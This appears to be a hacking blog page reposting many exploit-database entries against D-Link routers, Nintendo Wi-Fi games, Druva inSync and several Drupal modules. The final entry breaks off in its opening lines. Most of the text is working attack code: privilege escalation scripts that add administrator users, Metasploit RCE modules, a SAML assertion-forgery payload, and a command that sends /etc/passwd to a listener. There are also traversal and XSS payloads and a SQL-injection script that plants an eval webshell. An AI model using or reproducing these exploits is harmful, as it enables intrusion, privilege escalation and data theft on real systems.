Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863153550

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure
# Date:  2022-11-10
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.dlink.com
# Software Link: https://dlinkmea.com/index.php/product/details?det=dU1iNFc4cWRsdUpjWEpETFlSeFlZdz09
# Firmware Version: ME_1.00
# Tested on: Windows 11

# [ Details - DSL-124 ]:
#The DSL-124 Wireless N300 ADSL2+ Modem Router is a versatile, high-performance router for a home or small office,
#With integrated ADSL2/2+, supporting download speeds up to 24 Mbps, firewall protection,
#Quality of Service (QoS),802.11n wireless LAN, and four Ethernet switch ports,
#the Wireless N300 ADSL2+ Modem Router provides all the functions that a user needs to establish a secure and high-speed link to the Internet.

# [ Description ]:
#After the administrator enters and a new session is created, the attacker sends a request using the post method in her system,
#and in response to sending this request, she receives a complete backup of the router settings,
#In fact this happens because of the lack of management of users and sessions in the network.

# [ POC ]:

Request :

curl -d "submit.htm?saveconf.htm=Back+Settings" -X POST http://192.168.1.1/form2saveConf.cgi

Response :

HTTP/1.1 200 OK
Connection: close
Server: Virtual Web 0.9
Content-Type: application/octet-stream;
Content-Disposition: attachment;filename="config.img"
Pragma: no-cache
Cache-Control: no-cache

<Config_Information_File_8671>
<V N="WLAN_WPA_PSK" V="pass@12345"/>
<V N="WLAN_WPA_PSK_FORMAT" V="0x0"/>
<V N="WLAN_WPA_REKEY_TIME" V=""/>
<V N="WLAN_ENABLE_1X" V="0x0"/>
<V N="WLAN_ENABLE_MAC_AUTH" V="0x0"/>
<V N="WLAN_RS_IP" V="0.0.0.0"/>
.
.
.
</Config_Information_File_8671>
            
# Exploit Title: DS Wireless Communication Remote Code Execution
# Date: 11 Oct 2023
# Exploit Author: MikeIsAStar
# Vendor Homepage: https://www.nintendo.com
# Version: Unknown
# Tested on: Wii
# CVE: CVE-2023-45887

"""This code will inject arbitrary code into a client's game.

You are fully responsible for all activity that occurs while using this code.
The author of this code can not be held liable to you or to anyone else as a
result of damages caused by the usage of this code.
"""

import re
import sys

try:
    import pydivert
except ModuleNotFoundError:
    sys.exit("The 'pydivert' module is not installed !")


# Variables
LR_SAVE = b'\x41\x41\x41\x41'
assert len(LR_SAVE) == 0x04
PADDING = b'MikeStar'
assert len(PADDING) > 0x00

# Constants
DWC_MATCH_COMMAND_INVALID = b'\xFE'
PADDING_LENGTH = 0x23C
FINAL_KEY = b'\\final\\'
WINDIVERT_FILTER = 'outbound and tcp and tcp.PayloadLength > 0'


def try_modify_payload(payload):
    message_pattern = rb'\\msg\\GPCM([1-9][0-9]?)vMAT'
    message = re.search(message_pattern, payload)
    if not message:
        return None

    payload = payload[:message.end()]
    payload += DWC_MATCH_COMMAND_INVALID
    payload += (PADDING * (PADDING_LENGTH // len(PADDING) + 1))[:PADDING_LENGTH]
    payload += LR_SAVE
    payload += FINAL_KEY
    return payload


def main():
    try:
        with pydivert.WinDivert(WINDIVERT_FILTER) as packet_buffer:
            for packet in packet_buffer:
                payload = try_modify_payload(packet.payload)
                if payload is not None:
                    print('Modified a GPCM message !')
                    packet.payload = payload
                packet_buffer.send(packet)
    except KeyboardInterrupt:
        pass
    except PermissionError:
        sys.exit('This program must be run with administrator privileges !')


if __name__ == '__main__':
    main()
            
# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation (PowerShell)
# Date: 2020-12-03
# Exploit Author: 1F98D
# Original Author: Matteo Malvica
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi
# Version: 6.6.3
# Tested on: Windows 10 (x64)
# CVE: CVE-2020-5752
# References: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/
# Druva inSync exposes an RPC service which is vulnerable to a command injection attack.

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
            
# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation
# Date: 2020-05-21
# Exploit Author: Matteo Malvica
# Credits: Chris Lyne for previous version's exploit 
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi
# Version: 6.6.3
# Tested on: Windows 10 1909-18363.778
# CVE: CVE-2020-5752
# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation
# The path validation has been only implemented through a 'strncmp' function which can be bypassed by
# appending a directory traversal escape sequence at the end of the valid path.
# Writeup: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/ 

# Example usage:
#python insync.py "windows\system32\cmd.exe /C net user Leon /add"
#python insync.py "windows\system32\cmd.exe /C net localgroup Administrators Leon /add"

import socket
import struct
import sys

if len(sys.argv) < 2:
    print "Usage: " + __file__ + " <quoted command to execute>"
    print "E.g. " + __file__ + " \"net user /add tenable\""
    sys.exit(0)

ip = '127.0.0.1'
port = 6064
command_line = 'C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\..\\..\\..\\..\\..\\' + sys.argv[1] 

def make_wide(str):
    new_str = ''
    for c in str:
        new_str += c
        new_str += '\x00'
    return new_str

hello = "inSync PHC RPCW[v0002]"

func_num = "\x05\x00\x00\x00"                                   # 05 is to run a command, passed as an agrument to CreateProcessW
command_line = make_wide(command_line)                          # converts ascii to UTF-8
command_length = struct.pack('<i', len(command_line))           # packed as little-endian integer
requests = [ hello, func_num, command_length, command_line ]    # sends each request separately

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

i = 1
for req in requests:
    print 'Sending request' + str(i)
    sock.send(req)
    i += 1

sock.close()

print "Done."
            
# Exploit Title: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation
# Date: 2020-04-28
# Exploit Author: Chris Lyne
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.5.2/inSync6.5.2r99097.msi
# Version: 6.5.2
# Tested on: Windows 10
# CVE : CVE-2019-3999
# See also: https://www.tenable.com/security/research/tra-2020-12

import socket
import struct
import sys

# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation

if len(sys.argv) < 2:
    print "Usage: " + __file__ + " <quoted command to execute>"
    print "E.g. " + __file__ + " \"net user /add tenable\""
    sys.exit(0)

ip = '127.0.0.1'
port = 6064
command_line = sys.argv[1]

# command gets passed to CreateProcessW
def make_wide(str):
    new_str = ''
    for c in str:
        new_str += c
        new_str += '\x00'
    return new_str

hello = "inSync PHC RPCW[v0002]"
func_num = "\x05\x00\x00\x00"      # 05 is to run a command
command_line = make_wide(command_line)
command_length = struct.pack('<i', len(command_line))

# send each request separately
requests = [ hello, func_num, command_length, command_line ]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

i = 1
for req in requests:
    print 'Sending request' + str(i)
    sock.send(req)
    i += 1

sock.close()

print "Done."
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
      'Description'    => %q{
        This module exploits the Drupal RESTWS module vulnerability.
        RESTWS alters the default page callbacks for entities to provide
        additional functionality. A vulnerability in this approach allows
        an unauthenticated attacker to send specially crafted requests resulting
        in arbitrary PHP execution

        This module was tested against RESTWS 7.x with Drupal 7.5
installation on Ubuntu server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Devin Zuczek',                        # discovery
          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765567'],
          ['URL',
'https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => 'Jul 13 2016',
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The target URI of the
Drupal installation", '/'])
      ], self.class
    )
  end

  def check
    r = rand_text_alpha(8 + rand(4))
    url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r
, "/passthru/echo%20#{r}")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
    if res && res.body =~ /#{r}/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    random = rand_text_alpha(1 + rand(2))
    url = normalize_uri(target_uri.path,
      "?q=taxonomy_vocabulary/",
      random ,
      "/passthru/",
      Rex::Text.uri_encode("php -r
'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
    )
    send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
  end
end
            
# Exploit Title: Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation via XML Signature Wrapping
# Date: 09/07/2021
# Exploit Author: Cristian 'void' Giustini
# Vendor Homepage: https://www.miniorange.com/
# Software Link: https://www.drupal.org/project/miniorange_saml
# Version: 8.x-2.22 (REQUIRED)
# Tested on: Linux Debian (PHP 8.0.7 with Apache/2.4.38)
# Original article:  https://blog.hacktivesecurity.com/index.php/2021/07/09/sa-contrib-2021-036-notsosaml-privilege-escalation-via-xml-signature-wrapping-on-minorangesaml-drupal-plugin/
# Drupal Security Advisory URL: https://www.drupal.org/sa-contrib-2021-036

---

The MiniorangeSAML Drupal Plugin v. 8.x-2.22 is vulnerable to XML 
Signature Wrapping Attacks that could allows an attacker to perform 
privilege escalation attacks.

In order to exploit the vulnerability, the plugin must be configured 
with the "Either SAML reponse or SAML assertion must be signed" options 
enabled and an empty "x509 certificate".

Administrator point of view:

- Install a Drupal version (for the PoC the version 9.1.10 has been used)

- Configure an external SSO system like Auth0

- Configure the plugin with the Auth0 provider by checking the "Either 
SAML response or SAML assertion must be signed" and empty "x509 certificate"


Attacker point of view:

- Register a normal user on the website

- Perform a login

- Intercept the request with Burp Suite and decode the SAMLResponse 
parameter

- Inject an additional <Saml:Assertion> object before the original one 
(example here: 
https://gist.github.com/voidz0r/30c0fb7be79abf8c79d1be9d424c9e3b#file-injected_object-xml) 
(SAMLRaider Burp extension, XSW3 payload)

<saml:Assertion ID="_evil_assertion_ID" IssueInstant="2021-06-23T21:04:01.551Z" Version="2.0"
 xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
 <saml:Issuer>urn:miniorange-research.eu.auth0.com</saml:Issuer>
 <saml:Subject>
 <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">admin</saml:NameID>
 <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
 <saml:SubjectConfirmationData InResponseTo="_f1e26bb0bd40be366c543e2c3fe0215747f40dadbb" NotOnOrAfter="2021-06-23T22:04:01.551Z" Recipient="http://localhost:8080/samlassertion"/>
 </saml:SubjectConfirmation>
 </saml:Subject>
 <saml:Conditions NotBefore="2021-06-23T21:04:01.551Z" NotOnOrAfter="2021-06-23T22:04:01.551Z">
 <saml:AudienceRestriction>
 <saml:Audience>http://localhost:8080</saml:Audience>
 </saml:AudienceRestriction>
 </saml:Conditions>
 <saml:AuthnStatement AuthnInstant="2021-06-23T21:04:01.551Z" SessionIndex="_WWwvhpmMv5eJI4bwPdsPAiasFpTH8gt_">
 <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
 </saml:AuthnContext>
 </saml:AuthnStatement>
 <saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
 <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/identities/default/connection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">Username-Password-Authentication</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/identities/default/provider" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">auth0</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/identities/default/isSocial" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:boolean">false</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/clientID" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">8bbK44pPnBAqzN49pSuwmgdhgsZavkNI</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/created_at" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:anyType">Wed Jun 23 2021 21:01:51 GMT+0000 (Coordinated Universal Time)</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/email_verified" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:boolean">false</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/nickname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/picture" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">https://s.gravatar.com/avatar/55502f40dc8b7c769880b10874abc9d0?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fte.png</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/updated_at" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

 <saml:AttributeValue xsi:type="xs:anyType">Wed Jun 23 2021 21:01:51 GMT+0000 (Coordinated Universal Time)</saml:AttributeValue>

 </saml:Attribute>

 </saml:AttributeStatement>

</saml:Assertion>

- Replace the username with one with higher privileges (like admin)

- Submit the request

- Successful exploitation
            
source: https://www.securityfocus.com/bid/54179/info

Drag & Drop Gallery is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Drag & Drop Gallery 6.X-1.5 is vulnerable; other versions may also be affected. 

<?php

$uploadfile="db.php.gif";
$uploadfile2="lo.php.gif";

$ch = curl_init("http://www.example.com/drupal/sites/all/modules/dragdrop_gallery/upload.php?nid=1&filedir=/drupal/sites/all/modules/dragdrop_gallery/");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('user_file[0]'=>"@$uploadfile",
                                            'user_file[1]'=>"@$uploadfile2"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal CODER Module Remote Command Execution',
      'Description'    => %q{
        This module exploits a Remote Command Execution vulnerability in
        Drupal CODER Module. Unauthenticated users can execute arbitrary command
        under the context of the web server user.

        CODER module doesn't sufficiently validate user inputs in a script file
        that has the php extension. A malicious unauthenticated user can make
        requests directly to this file to execute arbitrary command.
        The module does not need to be enabled for this to be exploited

        This module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicky Bloor',                         # discovery
          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765575']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 225,
          'DisableNops' => true,
          'BadChars'    => "\x00\x2f",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'netcat netcat-e'
            },
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => 'Jul 13 2016',
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']),
        OptAddress.new('SRVHOST', [true, 'Bogus web server host to receive request from target and deliver payload']),
        OptPort.new('SRVPORT', [true, 'Bogus web server port to listen'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
    )
    if res && res.code == 200
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def on_request_uri(cli, _request)
    print_status("Incoming request detected...")
    p = ''
    p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
    p << 's:11:"theme_cache";s:16:"theme_cache_test";'
    p << 's:9:"variables";s:14:"variables_test";'
    p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}'
    p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
    p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
    p << 's:7:"new_dir";s:'
    p << (payload.encoded.length + 14).to_s
    p << ':"f --help && '
    p << payload.encoded
    p << ' #";s:4:"name";s:4:"test";}}}'
    print_status("Sending payload...")
    send_response(cli, p)
  end

  def exploit
    start_service
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
      'encode_params' => false,
      'vars_get' => {
        'file' => get_uri
      }
    )
    stop_service
  end
end
            
<?php

# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)
#
# E-DB Note: Source ~ https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5

$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";

$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "color",
            "files" => array("color.module")
        )
    ),
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../../../../sites/default/files"
    )
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

?>
            
# Exploit Title: Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS)
# Date: 2022-03-22
# Author: Milad karimi
# Software Link: https://www.drupal.org/project/avatar_uploader
# Version: v7.x-1.0-beta8
# Tested on: Windows 10
# CVE: N/A

1. Description:
This plugin creates a avatar_uploader from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://$target/avatar_uploader.pages.inc?file=<script>alert("test")</script>
            
#Title: Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure
#Author: Larry W. Cashdollar
#Date: 2018-03-30
#CVE-ID: CVE-2018-9205
#Download Site: https://www.drupal.org/project/avatar_uploader
#Vendor: https://www.drupal.org/u/robbinzhao
#Vendor Notified: 2018-04-02
#Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146
#Advisory: http://www.vapidlabs.com/advisory.php?v=202

#Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.
#Vulnerability:
#The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory:

<?php

$file = $_GET['file'];

echo file_get_contents("uploadDir/$file");
exit;

Exploit Code:
http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd
            
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics 
# Website: https://www.ambionics.io/blog/drupal-services-module-rce


#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
#    along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
# 

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'dixuSOspsOUU.php',
    'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
];

$browser = new Browser($url . $endpoint_path);


# Stage 1: SQL Injection

class DatabaseCondition
{
    protected $conditions = [
        "#conjunction" => "AND"
    ];
    protected $arguments = [];
    protected $changed = false;
    protected $queryPlaceholderIdentifier = null;
    public $stringVersion = null;

    public function __construct($stringVersion=null)
    {
        $this->stringVersion = $stringVersion;

        if(!isset($stringVersion))
        {
            $this->changed = true;
            $this->stringVersion = null;
        }
    }
}

class SelectQueryExtender {
    # Contains a DatabaseCondition object instead of a SelectQueryInterface
    # so that $query->compile() exists and (string) $query is controlled by us.
    protected $query = null;

    protected $uniqueIdentifier = QID;
    protected $connection;
    protected $placeholder = 0;

    public function __construct($sql)
    {
        $this->query = new DatabaseCondition($sql);
    }
}

$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query = 
    "0x3a) UNION SELECT ux.uid AS uid, " .
    "ux.name AS name, '$password_hash' AS pass, " .
    "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
    "ux.pass AS signature_format, ux.created AS created, " .
    "ux.access AS access, ux.login AS login, ux.status AS status, " .
    "ux.timezone AS timezone, ux.language AS language, ux.picture " .
    "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
    "WHERE ux.uid<>(0"
;

$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as well
if(!isset($json->user))
{
    print_r($json);
    e("Failed to login with fake password");
}

# Store session and user data

$session = [
    'session_name' => $json->session_name,
    'session_id' => $json->sessid,
    'token' => $json->token
];
store('session', $session);

$user = $json->user;

# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);

# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);

store('user', $user);

if($cache === false)
{
    e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray
{
    # Cache ID
    protected $cid = "services:endpoint_name:resources";
    # Name of the table to fetch data from.
    # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
    protected $bin = 'cache';
    protected $keysToPersist = [];
    protected $storage = [];

    function __construct($storage, $endpoint, $controller, $action) {
        $settings = [
            'services' => ['resource_api_version' => '1.0']
        ];
        $this->cid = "services:$endpoint:resources";

        # If no endpoint is given, just reset the original values
        if(isset($controller))
        {
            $storage[$controller]['actions'][$action] = [
                'help' => 'Writes data to a file',
                # Callback function
                'callback' => 'file_put_contents',
                # This one does not accept "true" as Drupal does,
                # so we just go for a tautology
                'access callback' => 'is_string',
                'access arguments' => ['a string'],
                # Arguments given through POST
                'args' => [
                    0 => [
                        'name' => 'filename',
                        'type' => 'string',
                        'description' => 'Path to the file',
                        'source' => ['data' => 'filename'],
                        'optional' => false,
                    ],
                    1 => [
                        'name' => 'data',
                        'type' => 'string',
                        'description' => 'The data to write',
                        'source' => ['data' => 'data'],
                        'optional' => false,
                    ],
                ],
                'file' => [
                    'type' => 'inc',
                    'module' => 'services',
                    'name' => 'resources/user_resource',
                ],
                'endpoint' => $settings
            ];
            $storage[$controller]['endpoint']['actions'] += [
                $action => [
                    'enabled' => 1,
                    'settings' => $settings
                ]
            ];
        }

        $this->storage = $storage;
        $this->keysToPersist = array_fill_keys(array_keys($storage), true);
    }
}

class ThemeRegistry Extends DrupalCacheArray {
    protected $persistable;
    protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));


# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
    e("Failed to write file.");
}

$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");


# HTTP Browser

class Browser
{
    private $url;
    private $controller = CONTROLLER;
    private $action = ACTION;

    function __construct($url)
    {
        $this->url = $url;
    }

    function post($type, $data)
    {
        $headers = [
            "Accept: " . TYPE_JSON,
            "Content-Type: $type",
            "Content-Length: " . strlen($data)
        ];
        $url = $this->url . '/' . $this->controller . '/' . $this->action;

        $s = curl_init(); 
        curl_setopt($s, CURLOPT_URL, $url);
        curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($s, CURLOPT_POST, 1);
        curl_setopt($s, CURLOPT_POSTFIELDS, $data);
        curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
        $output = curl_exec($s);
        $error = curl_error($s);
        curl_close($s);

        if($error)
        {
            e("cURL: $error");
        }

        return json_decode($output);
    }
}

# Cache

function cache_poison($endpoint, $cache)
{
    $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
    cache_edit($tr);
}

function cache_reset($endpoint, $cache)
{
    $tr = new ThemeRegistry($cache, $endpoint, null, null);
    cache_edit($tr);
}

function cache_edit($tr)
{
    global $browser;
    $data = serialize([$tr]);
    $json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message)
{
    print("$message\n");
}

function e($message)
{
    x($message);
    exit(1);
}

function store($name, $data)
{
    $filename = "$name.json";
    file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
    x("Stored $name information in $filename");
}
            
<?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//·

include 'common.inc';
include 'password.inc';

// set values
